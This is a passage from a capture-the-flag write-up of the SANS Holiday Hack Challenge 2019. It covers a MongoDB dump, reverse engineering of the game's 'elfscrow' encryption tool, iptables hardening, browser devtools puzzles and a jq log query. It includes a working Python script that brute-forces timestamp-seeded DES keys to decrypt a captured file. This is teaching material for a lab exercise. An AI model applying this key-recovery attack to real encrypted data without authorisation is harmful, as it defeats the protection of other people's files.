drwxr-xr-x 2 elf elf 4096 Dec 24 11:59 elfu
drwxr-xr-x 2 elf elf 4096 Dec 24 11:59 test

dump/admin:
total 8
-rw-r--r-- 1 elf elf  59 Dec 24 11:59 system.version.bson
-rw-r--r-- 1 elf elf 134 Dec 24 11:59 system.version.metadata.json

dump/elfu:
total 56
-rw-r--r-- 1 elf elf   19 Dec 24 11:59 bait.bson
-rw-r--r-- 1 elf elf  123 Dec 24 11:59 bait.metadata.json
-rw-r--r-- 1 elf elf   19 Dec 24 11:59 chum.bson
-rw-r--r-- 1 elf elf  123 Dec 24 11:59 chum.metadata.json
-rw-r--r-- 1 elf elf   31 Dec 24 11:59 line.bson
-rw-r--r-- 1 elf elf  123 Dec 24 11:59 line.metadata.json
-rw-r--r-- 1 elf elf 3147 Dec 24 11:59 metadata.bson
-rw-r--r-- 1 elf elf  127 Dec 24 11:59 metadata.metadata.json
-rw-r--r-- 1 elf elf  116 Dec 24 11:59 solution.bson
-rw-r--r-- 1 elf elf  127 Dec 24 11:59 solution.metadata.json
-rw-r--r-- 1 elf elf   24 Dec 24 11:59 tackle.bson
-rw-r--r-- 1 elf elf  125 Dec 24 11:59 tackle.metadata.json
-rw-r--r-- 1 elf elf   23 Dec 24 11:59 tincan.bson
-rw-r--r-- 1 elf elf  125 Dec 24 11:59 tincan.metadata.json

dump/test:
total 8
-rw-r--r-- 1 elf elf  59 Dec 24 11:59 redherring.bson
-rw-r--r-- 1 elf elf 129 Dec 24 11:59 redherring.metadata.json

The dump/elfu/solution.bson file seems promising. Let's check it:

elf@c6444428f1f4:~$ cat dump/elfu/solution.bson
t_id fYou did good! Just run the command between the stars: ** db.loadServerScripts();displaySolution(); **

Alright, we're now supposed to run a command in MongoDB. Let's connect back to it:

elf@c6444428f1f4:~$ mongo --port 12121
MongoDB shell version v3.6.3
connecting to: mongodb://127.0.0.1:12121/
MongoDB server version: 3.6.3
Server has startup warnings:
2019-12-24T11:53:42.669+0000 I CONTROL  [initandlisten]
2019-12-24T11:53:42.669+0000 I CONTROL  [initandlisten] ** WARNING: Access control is not enabled for the database.
2019-12-24T11:53:42.669+0000 I CONTROL  [initandlisten] **          Read and write access to data and configuration is unrestricted.
2019-12-24T11:53:42.669+0000 I CONTROL  [initandlisten]
2019-12-24T11:53:42.669+0000 I CONTROL  [initandlisten]
2019-12-24T11:53:42.669+0000 I CONTROL  [initandlisten] ** WARNING: /sys/kernel/mm/transparent_hugepage/enabled is 'always'.
2019-12-24T11:53:42.669+0000 I CONTROL  [initandlisten] **        We suggest setting it to 'never'
2019-12-24T11:53:42.670+0000 I CONTROL  [initandlisten]
> use elfu
switched to db elfu
> db.loadServerScripts();displaySolution();

       __/ __
            /
       /.'o'.
        .o.'.
       .'.'*'.
      o'.*.'.*.
     .'.o.'.'.*.
    .o.'.o.'.o.'.
       [_____]
        ___/


  Congratulations!!

Recover Cleartext Document

Krampus says

Wow! We’ve uncovered quite a nasty plot to destroy the holiday season.

We’ve gotta stop whomever is behind it!

I managed to find this protected document on one of the compromised machines in our environment.

I think our attacker was in the process of exfiltrating it.

I’m convinced that it is somehow associated with the plan to destroy the holidays. Can you decrypt it?

There are some smart people in the NetWars challenge room who may be able to help us.

So, we have what seems to be an encrypted PDF that we need to decrypt. We're given the elfscrow.exe tool, with debuging symbols. You know what it means? It's reverse engineering time!

Before static analysis, let's launch the elfscrow.exe tool, to see how it works:

PS C:\Users\root\Documents\objectif_10> .\elfscrow.exe
Welcome to ElfScrow V1.01, the only encryption trusted by Santa!


* WARNING: You're reading from stdin. That only partially works, use at your own risk!

** Please pick --encrypt or --decrypt!

Are you encrypting a file? Try --encrypt! For example:

  C:\Users\root\Documents\objectif_10\elfscrow.exe --encrypt <infile> <outfile>

You'll be given a secret ID. Keep it safe! The only way to get the file
back is to use that secret ID to decrypt it, like this:

  C:\Users\root\Documents\objectif_10\elfscrow.exe --decrypt --id=<secret_id> <infile> <outfile>

You can optionally pass --insecure to use unencrypted HTTP. But if you
do that, you'll be vulnerable to packet sniffers such as Wireshark that
could potentially snoop on your traffic to figure out what's going on!

So, this tool seems to be able to encrypt or decrypt documents, with the key sent to a trusted third party.

Let's encrypt a document, and specify the --insecure flag, so that we can observe network communications:

PS C:\Users\root\Documents\objectif_10> .\elfscrow.exe --insecure --encrypt .\text.txt test.enc
Welcome to ElfScrow V1.01, the only encryption trusted by Santa!

*** WARNING: This traffic is using insecure HTTP and can be logged with tools such as Wireshark

Our miniature elves are putting together random bits for your secret key!

Seed = 1578230480

Generated an encryption key: a0ad8f3edde93d45 (length: 8)

Elfscrowing your key...

Elfscrowing the key to: elfscrow.elfu.org/api/store

Your secret id is ed662e52-a681-42c8-acf9-bee4caa4f5a8 - Santa Says, don't share that key with anybody!
File successfully encrypted!

    ++=====================++
    ||                     ||
    ||      ELF-SCROW      ||
    ||                     ||
    ||                     ||
    ||                     ||
    ||     O               ||
    ||     |               ||
    ||     |   (O)-        ||
    ||     |               ||
    ||     |               ||
    ||                     ||
    ||                     ||
    ||                     ||
    ||                     ||
    ||                     ||
    ++=====================++

Let's take a look at the HTTP communication:

POST /api/store HTTP/1.1
User-Agent: ElfScrow V1.01 (SantaBrowse Compatible)
Host: elfscrow.elfu.org
Content-Length: 16
Cache-Control: no-cache

a0ad8f3edde93d45

HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Sun, 05 Jan 2020 14:49:04 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 36
Connection: keep-alive
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN

ed662e52-a681-42c8-acf9-bee4caa4f5a8

So, it seems that the tool generates an encryption key, using a seed (that suspiciously looks like a Unix timestamp), encrypts the document, and then sends the key to the elfscrow.elfu.org website, which then gives us an id that will be used for decryption.

Let's see the decryption process:

PS C:\Users\root\Documents\objectif_10> .\elfscrow.exe --id=ed662e52-a681-42c8-acf9-bee4caa4f5a8 --insecure --decrypt test.enc test.dec
Welcome to ElfScrow V1.01, the only encryption trusted by Santa!

*** WARNING: This traffic is using insecure HTTP and can be logged with tools such as Wireshark

Let's see if we can find your key...

Retrieving the key from: /api/retrieve

We found your key!
File successfully decrypted!

  +----------------------+
  |\                    /\
  | \ ________________ / |\
  |  |                |  | \
  |  | +------------+ |  |  \
  |  | |\          /| |  |   \
  |  | | \        / | |  |    \
  |  | |  \      /  | |  |     \
  |  | |   \    /   | |  |     |
  |  | |    \  /    | |  |     |
  |  | |     \/     | |  |     |
  |  | |            | |  |     |
  |  | |            | |  |     |
  |  |_|   SECRET   |_|  |     |
  | /  +------------+  \ |     |
  |/                    \|     |
  +----------------------\     |
                          \    |
                           \   |
                            \  |
                             \ |
                              \|
                               |

POST /api/retrieve HTTP/1.1
User-Agent: Elfscrow 1.0 (SantaBrowse Compatible)
Host: elfscrow.elfu.org
Content-Length: 36
Cache-Control: no-cache

ed662e52-a681-42c8-acf9-bee4caa4f5a8

HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Sun, 12 Jan 2020 12:37:04 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 16
Connection: keep-alive
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN

a0ad8f3edde93d45

To decrypt our file, the elfscrow.exe tool sends our secret id to the elfscrow.elfu.org server, which sends back our encryption key.

So, how can we decrypt our PDF file? If we manage to recover the secret id, we can ask the elfscrow.elfu.org server to send the key back. However, the secret id seems to be fully managed by the web server, and we don't have any information on it.

The other way would be to look at how our encryption key is generated by the executable. This is where having the executable and the debuging symbols is useful. Now, I first tried analyzing it using radare2, however the disassembling seemed weirdly incomplete. I then tried using Ghydra on Linux, but loading PDB files is not supported on Linux. So, I then tried using Ghydra on Windows, but I got an error trying to load the PDB file. Uuuuugh. Finally, I fell back on Visual Studio, with a little bit on radare2 on the side.

I followed the following Microsoft documentation to debug an executable:

Let's see the list of functions in radare2:

$ r2 ./elfscrow.exe
[0x004037f7]> idp ./elfscrow.pdb

[0x004037f7]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[0x004037f7]> afl
0x00401000  104 1903 -> 1872 pdb.int___cdecl__getopt_internal_int__char_____const__char_const____struct_option_const____int____int
0x00401770   64 1297 -> 1260 sub.s:_illegal_option_____c_770
0x00401c90    1 35           pdb.int___cdecl_getopt_long_only_int__char_____const__char_const____struct_option_const____int
0x00401cc0    4 203          pdb.void___cdecl_fatal_error_char
0x00401d90    1 42           pdb.void___cdecl_super_secure_srand_int
0x00401dc0    1 39           pdb.int___cdecl_super_secure_random_void
0x00401df0    5 99           pdb.void___cdecl_generate_key_unsigned_char___const
0x00401e60    1 18           fcn.00401e60
0x00401e80    5 68           pdb.void___cdecl_to_hex_unsigned_char___const__char___const
0x00401ed0    5 79           pdb.void___cdecl_from_hex_char___const__unsigned_char___const
0x00401f20   25 758          pdb.void___cdecl_store_key_int__unsigned_char___const
0x00402220    1 18           pdb.void___cdecl_retrieve_key_int__unsigned_char___const__char
0x00402540    5 126          pdb.void___cdecl_print_hex_char____unsigned_char____unsigned_int
0x004025c0    8 154          pdb.unsigned_char_____cdecl_read_file_char____unsigned_long_int
0x00402660    6 103          pdb.void___cdecl_write_file_char____unsigned_char____unsigned_int
0x004026d0    1 15           pdb.void___cdecl_do_encrypt_int__char____char
0x00402a00    1 15           pdb.void___cdecl_do_decrypt_int__char____char____char
0x00402d80    1 45           pdb.void___cdecl_usage_char
0x00402db0   86 1942 -> 1943 pdb._main
0x00403546    3 15   -> 122  pdb.___security_check_cookie_4
0x004037f7   14 10   -> 202  entry0
0x00403801    1 107          pdb.___report_gsfailure
0x00403958    1 6            pdb.__amsg_exit
0x0040395e    3 139  -> 145  pdb.__onexit
[...]

These three functions, super_secure_srand, super_secure_random, and generate_key, seem clearly interesting.

Let's look at generate_key:

00631DF0: 55                   push        ebp
00631DF1: 8B EC                mov         ebp,esp
00631DF3: 51                   push        ecx
00631DF4: 68 10 43 63 00       push        634310h
00631DF9: FF 15 CC 40 63 00    call        dword ptr [__imp____iob_func (06340CCh)]
00631DFF: 83 C0 40             add         eax,40h
00631E02: 50                   push        eax
00631E03: FF 15 C8 40 63 00    call        dword ptr [__imp__fprintf (06340C8h)]
00631E09: 83 C4 08             add         esp,8
00631E0C: 6A 00                push        0
00631E0E: E8 4D 00 00 00       call        time (0631E60h)
00631E13: 83 C4 04             add         esp,4
00631E16: 50                   push        eax
00631E17: E8 74 FF FF FF       call        super_secure_srand (0631D90h)
00631E1C: 83 C4 04             add         esp,4
00631E1F: C7 45 FC 00 00 00 00 mov         dword ptr [i],0
00631E26: EB 09                jmp         generate_key+41h (0631E31h)
00631E28: 8B 45 FC             mov         eax,dword ptr [i]
00631E2B: 83 C0 01             add         eax,1
00631E2E: 89 45 FC             mov         dword ptr [i],eax
00631E31: 83 7D FC 08          cmp         dword ptr [i],8
00631E35: 73 18                jae         generate_key+5Fh (0631E4Fh)
00631E37: E8 84 FF FF FF       call        super_secure_random (0631DC0h)
00631E3C: 0F B6 C8             movzx       ecx,al
00631E3F: 81 E1 FF 00 00 00    and         ecx,0FFh
00631E45: 8B 55 08             mov         edx,dword ptr [buffer]
00631E48: 03 55 FC             add         edx,dword ptr [i]
00631E4B: 88 0A                mov         byte ptr [edx],cl
00631E4D: EB D9                jmp         generate_key+38h (0631E28h)
00631E4F: 8B E5                mov         esp,ebp
00631E51: 5D                   pop         ebp
00631E52: C3                   ret

Interesting! It seems that the function calls time, surely to initialize the seed, as suspected. Then, the function super_secure_srand is called. Finally, there seems to be a loop, where the function super_secure_random is called (line 23), until eax is equal to 8 (lines 20, 21, 22). If you remember the execution of the program, the generated key has a length of 8 bytes. So, the function super_secure_random must be used to generate the bytes of the key, one by one.

Let's first take a look at the super_secure_srand function:

0x00401d90      55             push ebp
0x00401d91      8bec           mov ebp, esp
0x00401d93      8b4508         mov eax, dword [arg_8h]     ; [0x8:4]=-1 ; 8
0x00401d96      50             push eax
0x00401d97      68e8424000     push str.Seed____d          ; 0x4042e8 ; "Seed = %d\n\n"
0x00401d9c      ff15cc404000   call dword [sym.imp.MSVCR90.dll___iob_func] ; pdb.__imp____iob_func ; 0x4040cc
0x00401da2      83c040         add eax, 0x40               ; '@'
0x00401da5      50             push eax
0x00401da6      ff15c8404000   call dword [sym.imp.MSVCR90.dll_fprintf] ; pdb.__imp__fprintf ; 0x4040c8
0x00401dac      83c40c         add esp, 0xc
0x00401daf      8b4d08         mov ecx, dword [arg_8h]     ; [0x8:4]=-1 ; 8
0x00401db2      890d2c604000   mov dword [0x40602c], ecx   ; [0x40602c:4]=0
0x00401db8      5d             pop ebp
0x00401db9      c3             ret

It seems to only print the seed message that we saw during the execution. Now, let's see the function super_secure_random:

00631DC0: 55                   push        ebp
00631DC1: 8B EC                mov         ebp,esp
00631DC3: A1 2C 60 63 00       mov         eax,dword ptr [state (063602Ch)]
00631DC8: 69 C0 FD 43 03 00    imul        eax,eax,343FDh
00631DCE: 05 C3 9E 26 00       add         eax,269EC3h
00631DD3: A3 2C 60 63 00       mov         dword ptr [state (063602Ch)],eax
00631DD8: A1 2C 60 63 00       mov         eax,dword ptr [state (063602Ch)]
00631DDD: C1 F8 10             sar         eax,10h
00631DE0: 25 FF 7F 00 00       and         eax,7FFFh
00631DE5: 5D                   pop         ebp
00631DE6: C3                   ret

There seems to be a pointer to a variable state. Here are the operations:

The content of this state variable is copied to eax.
eax is multiplied by 0x343FD, and the result is stored in eax.
0x269EC3 is added to eax, and the result is stored in eax.
This value is stored in the state variable.
eax is shifted by 0x10 bits to the right.
eax is bit-AND-ed with 0x7FFF.

This function is first called with the Unix timestamp as a seed, and is then called seven more times to generate the full key. It took a bit of dynamic analysis with Visual Studio's debugger to understand what was being done.

Here's an implementation of the key generation in python:

def generate_key(seed):
    key = bytearray()

    while len(key) < 8:
        seed, key_byte = super_secure_random(seed)
        key.append(key_byte & 0xFF)

    return bytes(key)

def super_secure_random(seed):
    seed = seed & 0xFFFFFFFF

    next_seed = seed
    next_seed = (next_seed * 0x343FD) & 0xFFFFFFFF
    next_seed = (next_seed + 0x269EC3) & 0xFFFFFFFF

    key_byte = (next_seed >> 16) & 0x7FFF

    return next_seed, key_byte

The & 0xFFFFFFFF operations are to make sure that every computation is done on 32-bit values. Let's see if our function works. Let's use the seed in our first encryption, 1578230480, and see if we generate the same key:

>>> seed = 1578230480
>>> print(generate_key(seed).hex())
a0ad8f3edde93d45

Hurray, we get the same key! Now let's try to decrypt our PDF file. But wait, what is the encryption algorithm? Well, the encryption key is 8-byte long, which is 56 bits (not super long). The most symetric algorithm using this key size is DES. We can check that by taking a look at the function do_encrypt:

[...]
0x0040270a      68000000f0     push 0xf0000000
0x0040270f      6a01           push 1                      ; 1
0x00402711      6870474000     push 0x404770               ; "Microsoft Enhanced Cryptographic Provider v1.0"
0x00402716      6a00           push 0
0x00402718      8d4df4         lea ecx, dword [ebp - 0xc]
0x0040271b      51             push ecx
0x0040271c      ff1504404000   call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA] ; pdb.__imp__CryptAcquireContextA_20 ; 0x404004
[...]

The function CryptAcquireContextA is called to obtain an encryption object. The cryptographic service provider seems to be Microsoft Enhanced Cryptographic Provider v1.0, which does seem to use DES as an encryption algorithm.

Now, DES is a block cipher, and several mode can be used. I first tried ECB on some test files, but it didn't seem to work: only the first block seemed correctly decrypted. This seems to indicate that the used mode is CBC, with an initialization vector full of null bytes.

Now that we have everything, let's try to decrypt our PDF file:

#!/usr/bin/env python3

import sys
import datetime

from Crypto.Cipher import DES

def generate_key(seed):
    key = bytearray()

    while len(key) < 8:
        seed, key_byte = super_secure_random(seed)
        key.append(key_byte & 0xFF)

    return bytes(key)

def super_secure_random(seed):
    seed = seed & 0xFFFFFFFF

    next_seed = seed
    next_seed = (next_seed * 0x343FD) & 0xFFFFFFFF
    next_seed = (next_seed + 0x269EC3) & 0xFFFFFFFF

    key_byte = (next_seed >> 16) & 0x7FFF

    return next_seed, key_byte

def decrypt_file(data, key):
    decryptor = DES.new(key, mode=DES.MODE_CBC, IV=b'\x00\x00\x00\x00\x00\x00\x00\x00')

    plain_text = decryptor.decrypt(data)

    return plain_text

def main():
    if len(sys.argv) != 2:
        print('usage: {} <file_to_decrypt>'.format(sys.argv[0]))
        return -1

    encrypted_file_name = sys.argv[1]
    with open(encrypted_file_name, 'rb') as f:
        data = f.read()

    # We know the file was encrypted on December 6, 2019, between 7pm and 9pm UTC
    initial_time = datetime.datetime(2019, 12, 6, 19, 00, 00, tzinfo=datetime.timezone.utc)
    end_time = datetime.datetime(2019, 12, 6, 21, 00, 00, tzinfo=datetime.timezone.utc)

    min_seed = int(initial_time.timestamp())
    max_seed = int(end_time.timestamp())

    while min_seed <= max_seed:
        key_candidate = generate_key(min_seed)
        decrypted_file = decrypt_file(data, key_candidate)
        # We know the file is a PDF, so we look for the beginning of a PDF
        # file. If the decrypted data starts with "%PDF", we must have
        # found the correct key.
        if decrypted_file.startswith(b'%PDF'):
            decrypted_file_name = './{}_{}'.format(key_candidate.hex(), encrypted_file_name)
            with open(decrypted_file_name, 'wb') as f:
                f.write(decrypted_file)

            print('[+] We managed to decrypt the file')
            print('[*] Initial seed: {}'.format(min_seed))
            print('[*] Encryption key: {}'.format(key_candidate.hex()))
            print('[+] Decrypted file saved under {}'.format(decrypted_file_name))
            break
        min_seed += 1

if __name__ == '__main__':
    main()

Let's launch our script:

$ ./decrypt_file.py ElfUResearchLabsSuperSledOMaticQuickStartGuideV1.2.pdf.enc
[+] We managed to decrypt the file
[*] Initial seed: 1575663650
[*] Encryption key: b5ad6a321240fbec
[+] Decrypted file saved under ./b5ad6a321240fbec_ElfUResearchLabsSuperSledOMaticQuickStartGuideV1.2.pdf.enc

Yay! We managed to decrypt the file. You can download it here. It seems to be a quick start guide for Santa's Super Sled-O-Matic Machine Learning Sleigh Route Finder, which seems to be a device mounted on Santa's sled to help him find his route for his delivery.

Objective 11:

Kent Tinseltooth's Cranberry Pi Challenge

We arrive on Kent having an internal monologue. Apparently his IoT braces were hacked:

Inner Voice: Kent. Kent. Wake up, Kent.
Inner Voice: I'm talking to you, Kent.
Kent TinselTooth: Who said that? I must be going insane.
Kent TinselTooth: Am I?
Inner Voice: That remains to be seen, Kent. But we are having a conversation.
Inner Voice: This is Santa, Kent, and you've been a very naughty boy.
Kent TinselTooth: Alright! Who is this?! Holly? Minty? Alabaster?
Inner Voice: I am known by many names. I am the boss of the North Pole. Turn to me and be hired after graduation.
Kent TinselTooth: Oh, sure.
Inner Voice: Cut the candy, Kent, you've built an automated, machine-learning, sleigh device.
Kent TinselTooth: How did you know that?
Inner Voice: I'm Santa - I know everything.
Kent TinselTooth: Oh. Kringle. *sigh*
Inner Voice: That's right, Kent. Where is the sleigh device now?
Kent TinselTooth: I can't tell you.
Inner Voice: How would you like to intern for the rest of time?
Kent TinselTooth: Please no, they're testing it at srf.elfu.org using default creds, but I don't know more. It's classified.
Inner Voice: Very good Kent, that's all I needed to know.
Kent TinselTooth: I thought you knew everything?
Inner Voice: Nevermind that. I want you to think about what you've researched and studied. From now on, stop playing with your teeth, and floss more.
*Inner Voice Goes Silent*

Kent TinselTooth: Oh no, I sure hope that voice was Santa's.
Kent TinselTooth: I suspect someone may have hacked into my IOT teeth braces.
Kent TinselTooth: I must have forgotten to configure the firewall...
Kent TinselTooth: Please review /home/elfuuser/IOTteethBraces.md and help me configure the firewall.
Kent TinselTooth: Please hurry; having this ribbon cable on my teeth is uncomfortable.
elfuuser@54cbc0276e93:~$

He needs our help to harden the firewall rules for his braces, even though he was super rude during our Splunk experiment! Let's take a look at the rules he needs implemented:

elfuuser@54cbc0276e93:~$ cat /home/elfuuser/IOTteethBraces.md

# ElfU Research Labs - Smart Braces
### A Lightweight Linux Device for Teeth Braces
### Imagined and Created by ElfU Student Kent TinselTooth

This device is embedded into one's teeth braces for easy management and monitoring of dental status. It uses FTP and HTTP for management and monitoring purposes but also has SSH for remote access. Please refer to the management documentation for this purpose.

## Proper Firewall configuration:

The firewall used for this system is `iptables`. The following is an example of how to set a default policy with using `iptables`:

```
sudo iptables -P FORWARD DROP
```

The following is an example of allowing traffic from a specific IP and to a specific port:

```
sudo iptables -A INPUT -p tcp --dport 25 -s 172.18.5.4 -j ACCEPT
```

A proper configuration for the Smart Braces should be exactly:

1. Set the default policies to DROP for the INPUT, FORWARD, and OUTPUT chains.
2. Create a rule to ACCEPT all connections that are ESTABLISHED,RELATED on the INPUT and the OUTPUT chains.
3. Create a rule to ACCEPT only remote source IP address 172.19.0.225 to access the local SSH server (on port 22).
4. Create a rule to ACCEPT any source IP to the local TCP services on ports 21 and 80.
5. Create a rule to ACCEPT all OUTPUT traffic with a destination TCP port of 80.
6. Create a rule applied to the INPUT chain to ACCEPT all traffic from the lo interface.

Let's take care of the first rule, setting the default policies to DROP for the three mentioned chains:

elfuuser@54cbc0276e93:~$ sudo iptables -P INPUT DROP
elfuuser@54cbc0276e93:~$ sudo iptables -P FORWARD DROP
elfuuser@54cbc0276e93:~$ sudo iptables -P OUTPUT DROP

On to the second rule. We must accept already established incoming and outgoing connections:

elfuuser@e57e7cd77272:~$ sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
elfuuser@e57e7cd77272:~$ sudo iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

For the third rule, we must restrict input connections. To be more specific, only the IP address 172.19.0.225 is allowed to access the local SSH server on TCP port 22:

elfuuser@e57e7cd77272:~$ sudo iptables -A INPUT -s 172.19.0.225/32 -p tcp --dport 22 -j ACCEPT

The fourth rule also concerns incoming connections. However, the rule is a bit more permissive: anyone can connect to the TCP port 21 and 80:

elfuuser@e57e7cd77272:~$ sudo iptables -A INPUT -p tcp --dport 21 -j ACCEPT
elfuuser@e57e7cd77272:~$ sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT

The fifth rule concerns outgoing traffic: we must allow every connection to external TCP port 80:

elfuuser@e57e7cd77272:~$ sudo iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT

Finally, any incoming connection from the loopback lo connection is authorized:

elfuuser@e57e7cd77272:~$ sudo iptables -A INPUT -i lo -j ACCEPT

Once we have done everything, Kent thanks us:

Kent TinselTooth: Great, you hardened my IOT Smart Braces firewall!

Open the Sleigh Shop Door

We must try to get access to the Sleigh Shop. The door is garded by Shiny Upatree.

Shiny Upatree says

Psst - hey!

I'm Shinny Upatree, and I know what's going on!

Yeah, that's right - guarding the sleigh shop has made me privvy to some serious, high-level intel.

In fact, I know WHO is causing all the trouble.

Cindy? Oh no no, not that who. And stop guessing - you'll never figure it out.

The only way you could would be if you could break into my crate, here.

You see, I've written the villain's name down on a piece of paper and hidden it away securely!

So, we must try to break into Shiny's crate. It seems to be locked with several locks, and we have to solve riddles to find the codes to unlock them.

It's important to notice that the codes change every time we reload the page, and every lock must be unlocked in one go. So be careful if you reload the page, or perform an action that would reload the page (like displaying the source code via Ctrl+U).

Let's go:

You don't need a clever riddle to open the console and scroll a little.

So, let's open the browser console, in the developer tools, and scroll to the top:

We get our first code: AF1XO1BQ.

Some codes are hard to spy, perhaps they'll show up on pulp with dye?

Hmmm, what? I didn't understand anything, so I took a look at the hints:

Most paper is made out of pulp.
How can you view this page on paper?

We can view this page, by printing it! Let's try to print it to a PDF file:

We get our next code: 17OT8MUP.

This code is still unknown; it was fetched but never shown.

Hmm, the riddle seems to imply that the code was downloaded by the browser. Let's see in our browser network tab:

We get our next code: NZ50BMID.

Where might we keep the things we forage? Yes, of course: Local barrels!

The riddle seems to hint to taking a look at the local storage:

We get our next code: TBM5L28P.

Did you notice the code in the title? It may very well prove vital.

We look at the title in the browser's window name:

We get our next code: QWSJCUG9.

In order for this hologram to be effective, it may be necessary to increase your perspective.

I didn't understand the riddle, so let's take a look at a hint:

perspective is a css property.

Alright, let's take a look at the perspective attribute of the image next to the lock:

.hologram {
    perspective: 15px;
    width: 150px;
    height: 100px;
    border-radius: 20px;
    transition: perspective 5s;
}

Let's increase the perspective attribute:

.hologram {
    perspective: 9000px;
    width: 150px;
    height: 100px;
    border-radius: 20px;
    transition: perspective 5s;
}

We can make out the code: 6O0X1TVU.

The font you're seeing is pretty slick, but this lock's code was my first pick.

Let's look at the font attributes in the CSS of the page:

.instructions {
 font-family: '1SWUSZZ2', 'Beth Ellen', cursive;
}

We get the following code: 1SWUSZZ2.

In the event that the .eggs go bad, you must figure out who will be sad.

Let's see what event is linked to this .eggs object:

The code is VERONICA.

This next code will be unredacted, but only when all the chakras are :active.

:active is a CSS attribute, let's look for chakra in the CSS:

span.chakra:nth-child(1):active:after {
  content: '77';
}
span.chakra:nth-child(2):active:after {
  content: 'QS';
}
span.chakra:nth-child(3):active:after {
  content: 'X';
}
span.chakra:nth-child(4):active:after {
  content: 'HI';
}
span.chakra:nth-child(5):active:after {
  content: '9';
}

We get the next code: 77QSXHI9.

Oh, no! This lock's out of commission! Pop off the cover and locate what's missing.

Come again? Let's look at the hint:

Use the DOM tree viewer to examine this lock. you can search for items in the DOM using this view.
You can click and drag elements to reposition them in the DOM tree.

Alright, let's use the DOM tree to remove the cover, by dragging and dropping the cover element:

There seems to be a code printed on the PCB: KD29XJ37. But there seems to be missing three elements on the PCB. If we look around the CSS file, we see that three elements are linked to the lock #10 c10.

.locks > li > .lock.c10 > .component.macaroni {
  background: url(../../images/mac.png) no-repeat;
}

.locks > li > .lock.c10 > .component.swab {
  background: url(../../images/qtip.png) no-repeat;
}

.locks > li > .lock.c10 > .component.gnome {
  background: url(../../images/gnome.png) no-repeat;
}

Let's look for these elements, macaroni, swab, and gnome, and drag and drop them on the PCB:

Now, let's input the code, and unlock the final lock, opening the crate:

The villain is the Tooth Fairy gasp.

Objective 12:

Wunorse Openslae's Cranberry Pi Challenge

Some JSON files can get quite busy.
There's lots to see and do.
Does C&C lurk in our data?
JQ's the tool for you!

-Wunorse Openslae

Identify the destination IP address with the longest connection duration
using the supplied Zeek logfile. Run runtoanswer to submit your answer.

elf@a71d36bc6488:~$

Alright, we must look for the connection with the longest duration. Let's take a look at this log file:

elf@a71d36bc6488:~$ ls
conn.log
elf@94a92f24ac33:~$ head -n 3 conn.log
{"ts":"2019-04-04T20:34:24.698965Z","uid":"CAFvAu2l50Km67tSP5","id.orig_h":"192.168.144.130","id.orig_p":64277,"id.resp_h":"192.168.144.2","id.resp_p":53,"proto":"udp","service":"dns","duration":0.320463,"orig_bytes":94,"resp_bytes":316,"conn_state":"SF","missed_bytes":0,"history":"Dd","orig_pkts":2,"orig_ip_bytes":150,"resp_pkts":2,"resp_ip_bytes":372}
{"ts":"2019-04-04T20:41:01.862738Z","uid":"CCuAk24L1kIclVKz4l","id.orig_h":"192.168.144.130","id.orig_p":55106,"id.resp_h":"192.168.144.2","id.resp_p":53,"proto":"udp","service":"dns","duration":0.000602,"orig_bytes":47,"resp_bytes":63,"conn_state":"SF","missed_bytes":0,"history":"Dd","orig_pkts":1,"orig_ip_bytes":75,"resp_pkts":1,"resp_ip_bytes":91}
{"ts":"2019-04-04T20:42:09.277476Z","uid":"CRRCaj4bvzUJRRpmR6","id.orig_h":"192.168.144.130","id.orig_p":59679,"id.resp_h":"192.168.144.2","id.resp_p":53,"proto":"udp","service":"dns","duration":0.000923,"orig_bytes":34,"resp_bytes":34,"conn_state":"SF","missed_bytes":0,"history":"Dd","orig_pkts":1,"orig_ip_bytes":62,"resp_pkts":1,"resp_ip_bytes":62}

So, the conn.log file is full of JSON data, one object per line, which has the following interesting attributes:

id.resp_h, the destination IP
duration, the duration of the connection

As the console suggests, we can use jq to parse this data. Let's create a jq filter that will give us the destination IP with the longest connection duration. You can use this guide to create your own filter.

elf@94a92f24ac33:~$ jq -s '[.[] | {duration, "id.resp_h"}] | sort_by(.duration) | .[-1]."id.resp_h"' conn.log

Let's break this down:

jq -s [...] conn.log

This calls jq and tells it to treat the data in conn.log as a stream of data (since we have one JSON object per line, and not, say, a full JSON object in the file).

[.[] | {duration, "id.resp_h"}]

We create a list of JSON objects, based on the attributes duration and id.resp_h. Note that we had to put the latter between double quotes, because of the dot in the attribute's name.

| sort_by(.duration)

We get the created list, and sort it by the duration attribute.

| .[-1]."id.resp_h"

We get the last element of the list (index -1) and query its id.resp_h attribute.

Let's give this a go:

elf@94a92f24ac33:~$ jq -s '[.[] | {duration, "id.resp_h"}] | sort_by(.duration) | .[-1]."id.resp_h"' conn.log
"13.107.21.200"
elf@94a92f24ac33:~$ runtoanswer
Loading, please wait......



What is the destination IP address with the longes connection duration? 13.107.21.200



Thank you for your analysis, you are spot-on.
I would have been working on that until the early dawn.
Now that you know the features of jq,
You'll be able to answer other challenges too.

-Wunorse Openslae

Filter Out Poisoned Sources of Weather Data

Inside the Sleigh Shop, we find the evil Tooth Fairy:

The Tooth Fairy says

I’m the Tooth Fairy, the mastermind behind the plot to destroy the holiday season.

I hate how Santa is so beloved, but only works one day per year!

He has all of the resources of the North Pole and the elves to help him too.

I run a solo operation, toiling year-round collecting deciduous bicuspids and more from children.

But I get nowhere near the gratitude that Santa gets. He needs to share his holiday resources with the rest of us!

But, although you found me, you haven’t foiled my plot!

Santa’s sleigh will NOT be able to find its way.

I will get my revenge and respect!

I want my own holiday, National Tooth Fairy Day, to be the most popular holiday on the calendar!!!

Wunorse Openslae says

Hey, you know what? We've got a crisis here.

You see, Santa's flight route is planned by a complex set of machine learning algorithms which use available weather data.

